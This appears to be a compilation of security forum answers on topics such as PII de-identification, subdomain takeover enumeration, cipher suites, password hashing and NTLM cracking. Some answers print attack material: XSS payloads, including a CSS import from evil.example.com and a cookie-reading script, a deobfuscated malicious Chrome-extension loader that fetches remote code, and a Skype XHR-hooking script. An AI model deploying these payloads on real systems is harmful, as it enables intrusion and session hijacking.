Encrypt the password using the authentication service public key. It is not necessarily the HTTPS server's public key, ideally it should belong to a server in the back-end (to avoid key compromising in case of front-end server being compromised). Of course, use an existing crypto-suite, do not write it from scratch using RSA primitives (it is very risky).

The back-end server receives data encrypted with its public key. It uses its private key for decrypting it.

Stores the (derived key, salt) pair into the database.

Profit.

Note that in your security scheme, all depends on the password strength against brute-force attacks. Passwords are usually easy to crack.


Are zip codes considered to be personal identifying information?

Netflix once planned to have a contest (to improve movie recommendations) where they would release movie rental history, movie reviews along their birth dates, gender, and five-digit zip code.  That combination is personally identifying information and could do things like out someone's private sexual identity if that could be inferred from their rental history.

A famous study found that with the date of birth, gender, and five-digit zip code you can uniquely identify about 87% of Americans.  It also found that you could uniquely identify about 100,000 Americans (0.04%) by the combination of year of birth, gender, and zip code.

For medical de-identification of protected health information (PHI), the US Dept of Health and Human Services suggests to truncate the last two digits of the five-digit zip code off, except for 17 rare zip codes starters (where less than 20,000 people share these three initial digits according to the US Census) (specifically 036, 059, 063, 102, 203, 556, 692, 790, 821, 823, 830, 831, 878, 879, 884, 890, 893) in which case you should replace the zip code with all zeros.

Similarly, you should be mindful of fields like age in exceptional cases are rare (e.g., there's only one American with an age of 116) so HHS recommends grouping these exceptional ages into one category (e.g., 90+).  It's also probably better to group other users into age categories (like 50-55) to help anonymize them further.


How can I determine the vulnerability for a sub domain takeover attack?

I actually know Patrik personally and will definitely ping him concerning your request.

I have published numerous technical write-ups on subdomain takeovers that include identifying vulnerable hosts using common commands and libraries that may be of interest to you. The best starting point is probably "A guide to subdomain takeovers".

Setup and workflow

If you want a really basic setup, I would advise to use a combination of a subdomain enumeration tool to retrieve a list of subdomains for your target, meg for sending requests and storing the responses in a local folder, and then grepping for fingerprints listed in "Can I takeover XYZ?" (most subdomain takeover related tools rely on this project for identifying vulnerable hosts) in the folder where meg stored the responses.

A basic workflow using the tools listed above would look roughly as follows.

1) Enumerate subdomains using a tool such as subfinder (the process that these tools use is described in detail in the HackerOne write-up linked above);

$ subfinder -d example.com -o output-tmp.txt

2) Ensure that all hosts are prefixed with http:// so that they can be run through meg. You could also use httprobe, which is a slower process but might yield better results;

$ sed 's#^#http://#g' output-tmp.txt > output.txt

3) Run meg to fetch the index pages of all the enumerated subdomains;

$ meg -L -c 200 / output.txt responses

4) Grep through the responses for fingerprints associated with vulnerable subdomains.

$ grep -Hnri "There isn't a Github Pages site here." responses

Practice

In my opinion, the simplest way to learn about subdomain takeovers is to point a subdomain of yours to GitHub pages and to follow the steps above to claim it. This should give you a feel for the entire workflow and possibly give you a better idea of the security implications.

Further reading

"DNS hijacking using cloud providers – No verification needed" by Frans Rosén covers a lot of the steps described in the previous section. He also goes into detail about how he identifies vulnerable subdomains and lists a couple of tricks to make your workflow more efficient.


Can MITMf exploit SSL CCS vulnerability (CVE-2014-0224)?

Exploiting this weakness isn't implemented in MITMf. So you can't just start it and exploit this vulnerablity out of the box. But MITMf is extendable so if it's worth the effort you can implement this attack or combine MITMf with some other tool that is capeable of exploiting this weakness.


Is it possible for someone to modify keepass code, recompile and make it available for free download?

To reduce the risk you can

double check the source of your download (webiste url, https etc)
verify the download with his keyprint (provided by the author).

  "KeePass can be downloaded from many mirror servers. If you want to
  check if the offered files are verified by the KeePass authors (i.e.
  official and original files), you can hash the downloaded file using
  the hash computation utility of your choice (you can try one of these
  utilities: Visual Hash Calculator, ReHash, MD5sums) and see if the
  hashes match."
  http://keepass.info/integrity.html

On keepass.info download page you will find (at the bottom) the links to do that:
Hash Sums Verifying your download: Hash Sums, OpenPGP Signatures, .NET Public Keys


char buffer[4096];
SIZE_T bytesRead;
HANDLE proc = OpenProcess(PROCESS_VM_READ, FALSE, <PID>);
ReadProcessMemory(proc, <address_in_other_program>, buffer, 4096, &bytesRead);

I'm leaving out a lot of stuff here - for example, error checking to determine whether you are actually able to open the target process with the VM_READ permission - but it really is that simple. Virtual memory doesn't mean one process cannot access another's memory, it just means that each process' address space is (by default) their own, and if you want to access somebody else's, you have to ask for it.

Windows, by default, allows all processes running as the same user and with the same integrity level to get read access to each others' memory (higher-integrity processes can also read lower-integrity ones, though not vice versa). A process can change its own ACL, or that of any other ACL running with the same or strictly lesser privileges; this can be used to grant a process running under a different user access, if for some reason you wanted to do that. Administrators (and anybody else with the SeDebugPrivilege) can also access the memory of any other process (except for a few that have special "don't debug me!" flags); this is why a debugger launched as Admin can debug (almost) anything.

Note that this code sample also elides two important steps: getting the other process' PID, and getting the address you want to read from. The PID is pretty easy (they're not especially secret, and processes running as the same user can be easily enumerated by anybody), but getting the base address is trickier. It can be done, using debug symbols or just XORing an expected base address with the OS' current ASLR mask (which is the same for all processes running on the machine, though it changes with each reboot), but you do have to put some effort into it. If you request an address that isn't mapped in the target process, the ReadProcessMemory call will just fail.

As a side note, the APIs are Windows-specific but the concept isn't. Every OS that supports debugging has a way to read the memory of another process. This very much includes Linux, MacOS, etc. Sometimes the default permissions on a inter-process memory access are different, but it's always possible for a sufficiently-privileged process.


Is it safe to use the ENCRYPT() function in MySQL to hash passwords?

Yes, it is possible to make the MySQL ENCRYPT function more secure.

As you mentionted, ENCRYPT calls crypt internally. The crypt function uses DES encryption by default, which is insecure. However, it can be made to use other algorithms by passing specific values as the salt. For example, passing a salt starting with $6$ will use a variation on SHA512 on supporting systems.

mysql> SELECT ENCRYPT('abc', '$6$abc');
+-----------------------------------------------------------------------------------------------+
| ENCRYPT('abc', '$6$abc')                                                                      |
+-----------------------------------------------------------------------------------------------+
| $6$abc$feY2G1TnANZ0KTBaV0Kkb3kO0521w9Wfvr8bW8wL0T11tXMxEhkG9poIhCuNFR3zasFDn.iplGDXaEJxlLwPt0 |
+-----------------------------------------------------------------------------------------------+
1 row in set, 1 warning (0.00 sec)

As you can see this is a significant longer hash than the one you get with the default DES. However, keep in mind that you need to create a random salt if you create a new password.

SELECT ENCRYPT('abc', CONCAT('$6$', SHA2(RANDOM_BYTES(64), '256')));

To verify the password, you can use the whole hash as salt:

SELECT ENCRYPT('abc', '$6$e1c69ed016381250$5g0Bzbh29DWXdCdy5m0IhKolTwCqZXpElB2ISK.mUwe9ic.oA6zXoZ5CAiuASg8GYKGwljSCJrnxSZ.f76PFW/');

Source code of ENCRYPT
Man page of crypt


How can someone execute arbitrary code on Python's built in server module?

The warning is under the header of

  Notes on CGIHTTPRequestHandler

The CGI handler can be used to execute arbitrary program. If you just want to serve static files, you should use the SimpleHTTPRequestHandler.

In either case, the HTTP servers included in python aren't many for production uses, they are simple server for quick demos and lack many important functionalities and security hardening necessary for a production environment.

The firewall note is about that, in if you don't control who can connect to your local machine, you may be in for a security trouble even for local testing, if you have a malicious user connected to the same network.


Cross Site Scripting without special chars

Yes, this is possible. There's a trick you can do with onerror:

<img src=x onerror=eval;throw'=alert\x281\x29';>

The throw generates a JavaScript string which is then passed back into eval because the throw constitutes an error. This gives you full arbitrary JavaScript injection.

OK, so you say we can't use an equals sign. Instead, I suggest this trick:

"><style>@import'http://evil.example.com/xss.css';</style>

This includes a 3rd party CSS file into the page. From there you can launch JavaScript:

body {
    background-image: url('javascript:alert(document.cookie);')
}

There are also other tricks you can use to gain JavaScript execution from CSS.


What ciphers should I use in my web server after I configure my SSL certificate?

In SSL/TLS, the cipher suite selects a set of algorithms, for several tasks: key agreement, symmetric encryption, integrity check.

The certificate type impacts the choice of the key agreement. Two parameters must be taken into account: the key type and the key usage:

With a RSA key you can nominally use the "RSA" and "DHE_RSA" cipher suite. But if the server certificate has a Key Usage extension which does not include the "keyEncipherment" flag, then you are nominally limited to "DHE_RSA".
With a DSA key you can use only a "DHE_DSS" cipher suite.
With a Diffie-Hellman key, you can use only one of "DH_RSA" or "DH_DSS", depending on the issuing certificate authority key type.

Most SSL server certificates have a RSA key which is not restricted through a Key Usage extension, so you can use both "RSA" and "DHE_RSA" key types.

"DHE" stands for "Diffie-Hellman Ephemeral". This allows Perfect Forward Secrecy. PFS means that if an attacker steals the server private key (the one which is stored in a file, hence plausibly vulnerable to ulterior theft), he will still not be able to decrypt past recorded transactions. This is a desirable property, especially when you want your system to look good during an audit.

For the integrity check, you should not use MD5, and, if possible, avoid SHA-1 as well. None of the currently known weaknesses of MD5 and SHA-1 impacts the security of TLS (except possibly when used within a certificate, but that's chosen by the CA, not you). Nevertheless, using MD5 (or, to a lesser extent, SHA-1) is bad for public relations. MD5 is "broken". If you use MD5, you may have to justify yourself. Nobody would question the choice of SHA-256. The general consensus is that SHA-1 is "tolerable" for legacy reasons.

For symmetric encryption, you have the choice between (mostly) RC4, 3DES and AES (for the latter, the 256-bit version is overkill; AES-128 is already fine). The following points can be made:

RC4 and 3DES will be supported everywhere. The oldest clients may not support AES (e.g. Internet Explorer 6.0 does not appear to be able to negotiate AES-based cipher suites).
There are known weaknesses in RC4. None is fatal right away. Situation is somewhat similar to that of SHA-1: academically "broken", but not a problem right now. This still is a good reason not to use RC4 if it can be avoided.
3DES is a 64-bit block cipher. This implies some (academic) weaknesses when you encrypt more than a few gigabytes in a single session.
3DES can be heavy on your CPU. On a 2.7 GHz Intel i7, OpenSSL achieves 180 MB/s encryption speed with AES-128 (it could do much better if it used the AES-NI instructions) but only 25 MB/s with 3DES. 25 MB/s is still good (that's 2.5x what a 100 Mbits/s link can handle, and using a single core) but might not be negligible, depending on your situation.
The BEAST attack is an old academic weaknesses which has recently been demonstrated to be applicable in practice. It requires that the attacker spies on the link and runs hostile code on the client (and that code must communicate with the external spying system); the BEAST authors have managed to run it when the hostile internal code uses Java or Javascript. The generic solution is to switch to TLS 1.1 or 1.2, which are immune. Also, this concerns only block ciphers in CBC mode; RC4 is immune.
In a SSL/TLS handshake, the client announces his supported cipher suites (preferred suites come first), then the server chooses the suite which will be used. It is traditional that the server honours the client preferences -- i.e. chooses the first suite in the list sent by the client that the server can handle. But a server could enforce its own order of preferences.
DHE implies somewhat higher CPU consumption on the server (but it will not make a noticeable difference unless you establish several hundreds new SSL sessions per second).
There is no DHE cipher suite which uses RC4.

Summary: this leads me to the following preferred list of cipher suites. If the BEAST attack may apply to you (i.e. the client is a Web browser), use this:

If the session uses SSL-3.0 or TLS-1.0, try to use TLS_RSA_WITH_RC4_128_SHA.
If the client supports TLS 1.1+, or if it does not support TLS_RSA_WITH_RC4_128_SHA, or if you consider PFS to be more important to you than BEAST-like active attacks (e.g. you are most concerned about long-term confidentiality, not immediate breaches), then use TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (fallback to TLS_DHE_RSA_WITH_AES_128_CBC_SHA if the client does not support SHA-256).
If DHE cipher suites are not supported by the client, use the corresponding non-DHE suite.
Generic fallback is TLS_RSA_WITH_3DES_EDE_CBC_SHA which should work everywhere.

Note that the choices above assume that you can alter the suite selection depending on the negotiated protocol version, which may or may not be an available option for your particular SSL server.

If BEAST does not apply to you (the client will not run hostile code), then drop RC4 support altogether; concentrate on AES-128 and SHA-256; fallback on 3DES and SHA-1, respectively; use DHE if available.


Citrix has session monitoring built into XenApp and XenDesktop. You can read an overview here, but for completeness sake here is a list of a few of the capabilities that an administrator would have in a typical XenApp or XenDesktop environment:

Read an audit log of which users opened sessions, when, and to where
Record sessions as a whole (to video)
Record keystrokes and mouse movements
See a screenshot of a session
See a session's process list
Kill processes on a session
Run commands on the session


How feasible is it for an attacker to brute-force an NTLMv2 response captured off the network?

It's not really about brute-forcing, dictionarying (is that a word?), or rainbow-tabling the NET-NTLMv2 creds, but more-so about comparing them to stored LM/NTLM hashes pulled from the flat-file SAM database or the in-memory LSASS process (which can usually be reversed to cleartext but in this case you actually want the hash for comparative purposes).

Worse (*), NET-NTLMv2 can be used for NTLM Relay attacks. One of the best ways to expedite use of NTLM Relay is with -- https://bluescreenofjeff.com/2016-02-19-smb-relay-with-snarfjs-making-the-most-of-your-mitm/

For combining methods of LM/NTLM credential conversion (along with, say, your NET-NTLMv2 captures) to their current-valid,  cleartext equivalents, check out the work from Praetorian (Gladius) and root9b (ntlmv2_capture_hashcheck.rb).

If you are trying to crack NET-NTLMv2 from just pcap files or similar (i.e., you're not on the network right now or don't have SAM/LSASS LM/NTLM material to compare it to using the Praetorian or root9b techniques), then you want to check out this blog post -- http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/ -- as the author explains which parts of the NET-NTLMv2 request and response need to be adjusted in order to fit cleanly into John the Ripper (or Hashcat) for cracking purposes.

(*) It actually gets much, much worse because NTLM Relay is only scratching the surface when you consider SMB Relay, Pass-the Hash, JASBUG, Potato, Tater, SmashedPotato, (if you can capture any network traffic), QuickCreds and PoisonTap (if you have the ability to get a USB device plugged into a local-station USB port), as well as crEAP and EAPeak (if you have access to WiFi).


What secure alternatives do I have to storing postal addresses/telephone numbers in MySQL?

While I think it's great that you're trying to secure your application, I am wondering: You're trying to protect your users from a database breach, and you're worried about postal address and telephone number. Are these two items really the most important things to secure? Usually, if you have a firstname and lastname, you can get these two data points from a public phone book. This doesn't strike me as very valuable data, unless your service is trying to keep users anoymous (but then you should also remove a user's name and username from the database and just identify him by a random number).

What I do like is the idea to not store data you don't need at all. André is right about pointing out that mailing addresses to someone in plaintext isn't very secure either, but I do like the idea to move the data to the person that actually needs it, and then remove it from your posession. This means you can't be held responsible in the event of a data breach, because you simply don't have the data.

Three ideas

1) What you could do to solve your problem is to create a second database on a different host that basically just stored the personal information of your clients, and build a microservice around it to store and query adresses based on a user id.

This would isolate the address database from the rest of your application and add another layer of protection, but it still wouldn't really solve the problem, because an attacker which can gain access to your database will probably also be able to figure out how to query the remote address service.

2) You can get an almost equivalent amount of additional security by encrypting the addresses and phone numbers in your database. If an attacker just steals the database, he won't be able to do anything with the encrypted fields, but obviously, he could also steal the encryption key. There's no way around that if you want to store data and keep it accessible.

3) The third solution uses public key cryptography to protect the addresses and phone numbers: You encrypt the addresses and phone numbers on your server using a public key. You don't keep the private key on the server. Only the owner of the private key can then decrypt the encrypted data, and since the private key isn't available on the server, it means that an attacker can't get at data that's already encrypted (but he could install a routine to pick up the addresses and phone numbers of new customers before they get encrypted). The downside of this solution is that your application has no access to the encrypted data, either.


How can I view the contents of a web page without running malicious code?

You can try doing that using wget

wget -O test.txt http://the-url.com/you-are-trying-to-check


Is there anyway to analyze memory dynamically?

If you happen to use a tool like IDAPro, you can debug your malware and check the content of the memory and registers

When reaching any pre-selected debug breakpoint
Instruction per instruction

As mentionned here (https://www.hex-rays.com/products/ida/support/idadoc/1470.shtml), you can use IDAPro to take snapshots while you are in a suspended state (waiting in a breakpoint)

So basically you will dynamically see the content of the memory change after each instruction


SIEM Alien Vault recommended method for muting noise

I reached out to AlienVault via e-mail and they sent me the same workaround you described in your question:

  1.- create 2 policies.
  go to configuration -> threat intelligence -> policies.
  chose default group.

  2.- first policy will have AlienVault Appliance IP as source ip.
  click new policy.
  set a name for the policy - like ’from AV'
  on source ip select alienvault appliance asset from asset tree
  on destination field select any
  on siem consequence select no.

  3.- Second one, AlienVault Appliance IP as Destination.
  click new policy.
  set a name for the policy - like ’to AV'
  on destination ip select alienvault appliance asset from asset tree
  on source field select any
  on siem consequence select no.

  4.- Reload Policies You should have a red label/button ‘reload policies’  click it.

  This will prevent AlienVault to capture and analyse its own traffic.


From what I see Googling for 'zxiw' it is associated with websites that are infected with adverts for fake Louis Vuitton bags, Uggs, etcetera. So definitely phishy.

You will not be harmed by that file, because it was only partially downloaded. But if that website managed to deliver something else to you that was Mac-specific you could be in trouble.

Either something was downloaded to your machine through a flaw ('push') or you started the download ('pull). So the prime suspect is the 'Flash player installer' installed. I hope you have removed it already.

And that brings it back to a basic question: is my machine infected? There's no way to tell really. Look for suspicious behaviour and scan your machine with any tool you can use.


VeraCode static code scan reports "Improper Neutralization of CRLF Sequences in HTTP Headers" for frontend code

HTTP response headers are delimited by one line break, and two line breaks start the actual response body. If an attacker can inject a line break into the header they can inject a new header after the line break, and if they inject two they can also inject content into the response body, such as new HTML (XSS). This is might happen because of Improper Neutralization of CRLF Sequences in HTTP Headers (AKA "HTTP Response Splitting").

These days, this issue is very unlikely – practically nobody uses a single addHeader() sink to add multiple headers or addCookie() to add multiple cookies - you just invoke it multiple times if the need arises. All modern frameworks handle that and make sure that the splitting, caused by injection, is mitigated.

If somebody still insists implementing an HTTP writer over TCP – they could always introduce header-splitting as they write the raw packet, but that is an unlikely scenario, and it will not be caught by Static Analysis Tools like Veracode, because they would never be able to get the context of the packet.

The bottom line is that this Veracode result seems like a False Positive.


Is password dependent iteration count a good practice?

You're trying to fix a human issue with a technical solution. And tbh, I fail to see how your increase in iterations will "incentivize users to use longer passwords" even with your suggestion that users would "feel" the difference in speed in longer vs. shorter passwords. Bumping iterations will not be noticeable to a user unless you set it to a ridiculous value.

So what kind of numbers are we actually talking about when you would implement iterations *= progression_factor**(recommended_length-len(password))? Tens of thousands? Hundreds of thousands? Millions? Billions? And how would you educate your users, that the experienced login slowdown is due to their shitty password instead of your perceived incompetence to code a performant site?

I mean, sure you can implement all your ideas but in the end, a weak password is a weak password - no matter how often you iterate the PBKDF. If your users are using 123456, correct horse battery staple, Spring2019!, 10inchcock, or similarly easy to guess/common passwords, all your endeavors will be in vain anyway.

My suggestion would be to educate your users to use stronger passwords/passphrases and incentivize them to adopt basic password hygiene, and not use common patterns like seasons, pet names, loved ones, DoB, etc.


I received a suspicious SVG file via Facebook message. What does it do?

This file is part of a virus.

It's an SVG image file containing obfuscated JS code that redirects you to a malicious website. This website will attempt to install malware (a Chrome browser plugin) and forward the SVG file to your Facebook contacts. If you think you got infected, follow these instructions: Help! My home PC has been infected by a virus! What do I do now?

Quick Analysis

The attacker likely chose an SVG file because it's an innocent-looking image format and less suspicious than executables or HTML files (whose transfer is also prohibited by Facebook). But despite being graphics, SVGs can also contain active script code.

The file itself contains an obfuscated inline <script> segment consisting of two parts. The first part is the function jxnpgmlk() which acts as a decoder that unscrambles any strings that it gets as input. The exact algorithm doesn't really matter because we can simply apply the function on any scrambled strings. The second part is a very short payload. The few strings defined here can simply be unscrambled by using the decoding function, resulting in this:

var cujnl = "top";
var gnqrek = "location";
var zvlgj = "href";
window[cujnl][gnqrek][zvlgj] = "http://mourid.com/php/trust.php";

So essentially, all this code does is redirect you to http://mourid.com/php/trust.php.

From there, two more 302 redirects follow to http://kerman.pw/php/trust.php and http://kerman.pw/?fb_dsa.  The final page fakes the look of a Youtube video page to deceive users into installing a supposedly "missing codec". You will instead be prompted to install this malicious Chrome extension called "One":

https://chrome.google.com/webstore/detail/one/olonepdliekllagcdgmlbihgcplinegj
Edit: Google finally removed the extension from the Chrome Web Store but there might still be other instances around.

I manually downloaded the extension file and had a quick look at the obfuscated source code. The extension manifest defines several background scripts that immediately get loaded once installed. This is the essential part of what I de-obfuscated:

this["fetch"]("http://cerawa.pw/manalovuci/kojakumoda.bg")["then"](function(kkuruv) {
    if (kkuruv["ok"]) {
        kkuruv["blob"]()["then"](function(yxbnjo) {
            var pklimw = this["URL"]["createObjectURL"](yxbnjo);
            var yxyiq = this["document"]["createElement"]("script");
            yxyiq["src"] = pklimw;
            this["document"]["head"]["appendChild"](yxyiq);
        });
    }
});

As you can see the extension downloads additional JS code from http://cerawa.pw/manalovuci/kojakumoda.bg. (Note that the page won't return anything if you don't send a Chrome user agent.) That response is turned into an object URL and attached to every document while browsing, effectively giving the attacker remote control over your browsing session.

It seems that the malware can be triggered by user interaction only, so if you didn't install the extension you are probably safe. But since the page can easily serve different malware to different user agents or different countries, it's not possible to be absolutely sure that you didn't get infected while visiting the site. If in doubt, it's time to nuke it from orbit.

Bonus: Funnily, that page is also vulnerable to XSS. But I guess they don't have a Bug Bounty Program in place... (http://kerman.pw/"><script>alert(1)</script>).


Currently there is a small breach in the Skype for Web. Any HTML code is escaped on the client side before it is posted to the Skype server. But you can send unescaped HTML by writing some JavaScript code.

The steps follows:

Go to Skype for Web via Chrome
Open JavaScript console and execute:

// replace standard XHR.send() with our custom implementation
XMLHttpRequest.prototype.oldSend = XMLHttpRequest.prototype.send;
var newSend = function(args) {
    try {
        // messages to the server are posted via JSON
        // in 'content' field
        var m = JSON.parse(args);
        if (m.content && m.content.indexOf('secret') === 0) { // 'secret' is our codeword
            // if the message begins with 'secret', replace it by our HTML with the link
            m.content = 'http://watch-yourself.com';
            this.oldSend(JSON.stringify(m));
        } else {
            // if no 'content' field or no 'secret' codeword, then send as is
            this.oldSend(args);
        }
    } catch (x) {
        // if not JSON, then send as is
        this.oldSend(args);
    }
}
XMLHttpRequest.prototype.send = newSend;

Type 'secret' in any chat message
The resulting message shown in the desktop version of Skype:


Will evolving bio metric capabilities on mobiles replaces online transaction verification through SMS (OTP)?

Biometrics are tricky for online transaction. The more feasible way would be to use something like TOTP. There is a variety of apps that support TOTP generation and it would be easy for you to distribute it (print out a QR code).

An even more secure but much more expensive alternative is to use physical tokens. I would strongly recommend to support them. While they are not feasible for everyone, you could at least support them for your security conscious customers (who have their own tokens) and possibly force them (provide a token) for premium customers who do large transactions regularly.

Also, invest in notifying your customers. A service where you send an sms or other notification about every transaction should be available (optional) and for suspicious (unusually large) transactions, they could be mandatory. Noticing a breach early could make it possible to stop the transaction before it goes through.


Is it safe to share your password security plan with others?

There is always some risk involved because your method might have some flaws, and if an attacker can easily know all the details of your implementation then, of course, they have an advantage. To reduce the risk, some obscurity is sometimes used as an extra layer of protection in case something goes wrong, and as a deterrent. Here are a few points you can consider to evaluate the risk:

Who are you going to show your plan to? Friends? Coworkers? Security auditors? Haxxor forumz? The whole internet via social media?
What advantages do you get if you show somebody your plans? Are you going to get valuable opinions? Do you really need more opinions? What is your goal when you publish your method? Would you like it to become a widely recognized standard or common best practice?
How confident are you that your plan is already good enough? Are you aware of the current best practices? Have you tried to follow them?
How flexible is your system? Is it already in use? Is it still in the design stage and could be modified relatively easily? Or is it hard to change anything in the process?
Who are your enemies are what assets are you protecting? If the potential damage is severe and the probability of advanced attacks is high, then, of course, you will need to be more careful.

Answering those questions might help you figure out if it's worth sharing information with other people, and if you are increasing the risk or reducing it. So for example, if you are unsure about your practices, you'd better share your methods before you start to use them, to hear opinions from trusted experts (for example asking about your methods in this community). But if you are part of a team of security experts that works for the government, maybe you'd better shut up instead of publicly twitting about every detail of every security control your agency is using.

OPSEC best practices can be summarized as "shut up unless you really need to speak". In your case, it's probably OK to share your method with your friend, to help them improve their security. But posting that information publicly on Facebook would be bad OPSEC, no matter how secure your method really is.


I would look for unknown activity. I would cancel your Ebay and amazon account you can get quite a bit of information from that if its not to late.


Is Apache (macOS pre-installed) a security risk when launched on a public network?

You are correct to think that running apache on a public network could create security issues. Bearing in mind, if for whatever reason you are hosting webscripts that are vulnerable to attacks like SQL injection and similar, they could leave your system open to exploitation.

By default apache would be bound to 0.0.0.0 which is to say all available interfaces. Configure apache to bind to local host (or 127.0.0.1) - this way the web server will be available only from on the computer itself, and not from outside.

If you are going to insist on leaving it bound to to all network interfaces then best practice would be exactly the same as for an actual website. Use the most up to date security practices, don't run dodgy code, and make sure that information is encrypted if possible/necessary.

The possible attack vectors in this scenario rely a lot upon the code that are you are running.


Should the requirement of admin privileges be extended?

The underlying idea of the comic is that separation of user accounts has been designed for mainframes: big computers, shared by many users. In that model, the potential attackers are other users. Account separation is then about protecting users from other users; only the god-like admin account can access everything on the machine, and the administrator has the duty of using his powers to strike down users who try to escape the boundaries of their accounts. System administrators consistently love this model, if only for its inherent ego flattering effect.

However, personal computers are not handled like that. They have a single user who expects to have admin powers on his system. More importantly, the attackers and defenders have changed. The attackers are now remote entities -- non-users from the outside, who will try to enter the machine through various vulnerabilities, in the loose sense of the term (this includes virus on USB keys, hostile scripts on Web pages, remote holes in network stacks...). The assets which the user tries to defend mostly reduce to their "elements of online identities", in particular the set of browser cookies, and their natural extension, the passwords typed by the user.

The comic points out, in a graphical way, that a separate administrator account does absolutely nothing to protect these assets. It does not harm, but it has no added value.

What should OS do ? Actually, not much -- it's more a question of what Web browsers should do. Increasingly, the Web browser is the operating system, and what we think of as the OS might have to be renamed "collection of hardware drivers". That's the idea which, for instance, Chrome OS tries to fully explore.

Account separation in mainframes was a damage containment feature. Its purpose is to prevent propagation of evil, and allow the sysadmin to smite at the infidels and trample them into oblivion, namely suppression of account. The gangrenous limb is not saved, but it is severed so that the rest of the organism remains safe, to some extent. How does this translate to the way personal computers are really used ? Remember that what is to protect is, primarily, the set of browser cookies. Damage containment then calls for domain-based sandboxing.

Indeed, cookies are already domain-separated: a server from a given domain may obtain the stored cookies for that domain, and for none other. Similarly, scripts and other browser languages are constrained by the same origin policy which is again domain-based. CSRF, XSS and all the related acronyms in which security practitioners revel are still about the crossing of the domain boundary. This really points at a security model in which each target domain is its own world, and a given browser instance should be contained in a box which allows access to that domain only (only machines in that domain, only cookies from that domain). If one browser instance gets subverted, then, hopefully, the sandbox mechanism will prevent subversion of other browser instances: if your browser-for-Facebook is hacked, your gmail account is still safe.

There is still contention for shared resources. Even if we can get the user to mentally separate his usage modes into separate browser instances (this can be more or less automatic, e.g. by having each set of tabs relative to a single domain to be managed by its own sandboxed process), the user still has a unique screen, keyboard, brain, pair of eyes and set of fingers. USB keys are a good example of problems: the user thinks of them as "files", not as "files for my Facebook-related tasks". The user will make files from USB keys available system-wide.

Moreover, users really love cross-site behaviours. E.g. they really want blog sites to feature Facebook buttons which do Facebook-related things right on the blog site. Real task separation is a constraint. This is similar to pressure doors in submarines: even when the doors are kept open, you still notice them and you still have to think about them when deciding where objects and men should go.

To sum up, having a separate account for system administration is not really needed in modern personal computers. You still need one, not because of any real gain in security (the sysadmin account does not protect that which is important to protect), but because current operating systems are still organized that way, and going against it may break too many things. It is mostly a matter of Tradition, as always.

What you need, if you want to mitigate effects of break-ins, is to apply separation of tasks, which is quite orthogonal to the separation of process that operating systems enforce; indeed, the Web browser is a typical example of a single process which spans several tasks, and this is incarnated by the cookie storage vault, which keeps all your dearest secrets in a single place.

And, of course, internal separation is still mitigation: how to survive breaches while keeping overall losses low. It is better if breaches are not permitted to occur in the first place... which again translates the problem elsewhere. In the submarine analogy, pressure doors are fine, but avoiding enemy torpedoes is finer.


If you don't have the private key, and you don't have the revoke certificate, then there is nothing you can do about the existing key.

You should:

Generate a new pair of keys
Publish your new public key to a key server
Let anyone who uses the old key know you have a new one
Take the time to generate a revoke certificate and make and store backups.

One option to mark the lost key as revoked on the key server is detailed in this answer here


Is there any reason for using private key 2 times when creating security hash?

This construct can (crudely) protect against a length extension attack, which in particular affects hashes built using the Merkle-Damgård construction (such as MD5, SHA-1, and the SHA-2 family).

The gist of the attack is that an attacker who knows H(s || m) and m for a hash H, secret s, and message m can trivially forge a hash of the form H(s || m || p || a) where p is the internal padding used by the hash function and a is an attacker-controlled string. This may seem difficult to exploit in practice, as p is typically raw bytes such as \x04\x04\x04\x04. However, consider a message such as a set of HTTP query parameters: username=x&admin=false. With this attack, you can forge a "signed" message for username=x&admin=false\x02\x02&admin=true. Depending on how the parameters are parsed, the URL parser could easily use the latter value of admin rather than the former.

Hashing the secret at the end of the message is, presumably, an attempt to defend against this type of attack. Since the attacker doesn't know the secret, they can't use a length extension attack since they have no way of forging H(s || m || p || a || s) without knowing s.

That said, there are existing cryptographic constructs that are proven secure for use as message authentication codes. In this case, HMAC is probably the cryptographic primitive they want to use, as it has a strong proof of security.

This type of home-grown construct is evidence that the authors of this service are not well-versed in cryptography. If they were, an HMAC would be a natural and obvious choice for such a situation. If they are comfortable publishing these kinds of embarrassing home-grown constructs in their public documentation, I would personally worry about the cryptography they deploy and use internally.


Is OpenVPN With No Client Certificates Encrypted?

Client certificates are not used for encryption in OpenVPN. These are "only" used for authentication of the client, i.e. that only clients which provide a trusted certificate can use the VPN.


A SW system constructed with Microsoft CNG can be FIPS 140-2 Level 2 Compliant?

OK, these are a lot of questions for one answer, and I think I can probably only hit two of them.. but here it goes:

FIPS 140-2 Level 2

The FIPS 140-2 requirements are centered around how keys are managed, protected, manipulated and stored.  For reference, I'm reading the Security Requirements from the NIST site.

What I'm seeing is that in the transition from Level 1 to Level 2, the standard adds requirements that relate to the physical storage of key material - most strikingly tamperproofing on a physical level.  The requirements move from working in Level 1 where the key storage could be software, to requirements where I can't see any way that you could hold the keys in the memory of a standard PC or laptop - you have to have a protected physical location for the key material.

That's not to say that the protected physical location has to be a $10,000 HSM - if I'm reading the Validated Cryptographic Modules list right, there are a few cases in there where vendors of what appear to be SmartCard based products are validated all the way to Level 3.  Certainly some SmartCard products provide tamper evidence.

From my experience, when you are operating your key store in software, you can't really call the overall system a FIPS 140-2 level 2 solution - because you can't give that tamper-proof evidence strongly enough.  But you can get software modules that can "operate in a FIPS 140-2 Level 2 mode" - meaning they will interoperate with a device that can provide tamper evidence at this level and the module will do so in a standards compliant way that doesn't move the key to any place it shouldn't go.

To try to nail down the question - if you can find a FIPS 140-2 level 2 compliant smart card product (and I think you can), you can make a lower-than-HSM cost solution work, but you have to realize that the SmartCard will need to be present whenever you want your solution to do crypto operations - because taking the keys off the card will destroy the purpose of tamper-proofing.  So I'm not sure you're going to get to "Key loading using an Smart Card reader" which to me implies trying to get the protected keys off the card.

Alternate Standards - CC-1 and EAL 5

I'm a little confused here as these are not exactly the same thing.  EAL 5 is for a fairly stringent level of verification that a product meets its defined security behavior.  But it's not the same thing as the key protections provided by FIPS 140-2.  Frequently, I've developed systems that have had to use both, because they offer different types of assurance.  Having a really high EAL level will protect you in different ways from having Level 2 FIPS.

I'd be very reluctant to recommend interchanging these - you need to design a system that protects itself to the level of the risks in the environment and the value of information/operations it protects.  Swapping between standards isn't going to do that - security analysis will.

Intranet or standalone

This really has to be based on the needs of an application.  Where you situate it, how you control access, what purposes Intranet or local users will have for it, and what you need to protect will dictate where you put it and what protections you need for it.

